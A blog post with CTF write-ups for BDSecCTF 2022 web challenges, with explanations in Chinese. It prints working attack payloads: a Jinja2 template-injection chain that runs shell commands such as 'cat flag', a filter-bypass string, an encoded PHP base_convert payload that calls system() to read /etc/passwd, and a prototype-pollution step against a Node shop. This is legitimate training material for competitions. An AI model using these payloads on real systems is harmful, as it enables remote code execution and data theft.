BDSecCTF2022-Web
BDSecCTF2022-Web
[toc]
Jungle Templating
模板注入
1 | {{7*7}} |
自动化脚本
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}{% endif %}{% endfor %} |
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag').read()")}}{% endif %}{% endfor %} |
1 | BDSEC{Y3Y_7H1515_7H3_F146} |
Awesome Note Keeping
源码泄露index.php.bak
1 | <!DOCTYPE html> |
注意在写入的时候,会对$note_title
进行两次替换,将flag替换为空,所以整两次嵌套
1 | flaflflagagg |
并且第一次要创建一下$note_title=flaflflagagg
,然后第二次的时候,满足第25行的
1 | if (file_exists($note_title . ".txt")) |
然后才会替换flag为空,读取flag.txt
1 | BDSEC{tHe_n0t3_K33p1n6_4W350M3_N5} |
Awesome Calculator
查看源码
1 |
|
原题
CTFtime.org / BambooFox CTF 2021 / Calc.exe Online / Writeup
cat /etc/passwd
1 | base_convert(1751504350,10,36)(base_convert(37907361743,10,36)(base_convert(477080140104,10,36).base_convert(189751590363,10,36).base_convert(189803607951,10,36).base_convert(428637964,10,36))) |
其中对应关系
1 | base_convert(1751504350,10,36) system |
在原有的wp上进行修改,将/ect/passwd替换为*
1 |
|
最后的payload
1 | base_convert(1751504350,10,36)(base_convert(37907361743,10,36)(base_convert(477080140104,10,36).base_convert(82,10,36))) |
Knight Squad Shop
给了附件
主界面
源码中主要是三个路由
- /api/v1/sell
1 | app.post('/api/v1/sell', (req, res) => { |
- /api/v1/buy 购买相关产品
1 | app.post('/api/v1/buy', (req, res) => { |
- /api/v1/money 可以修改金额
1 | app.post('/api/v1/money', (req, res) => { |
其中/api/v1/sell存在原型链污染
第一步,通过链污染修改req.session.admin为true
,覆盖flags的price为1
1 | POST /api/v1/sell HTTP/1.1 |
造成的结果
第二步,直接购买flags,
1 | POST /api/v1/buy HTTP/1.1 |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Sk1y's Blog!
评论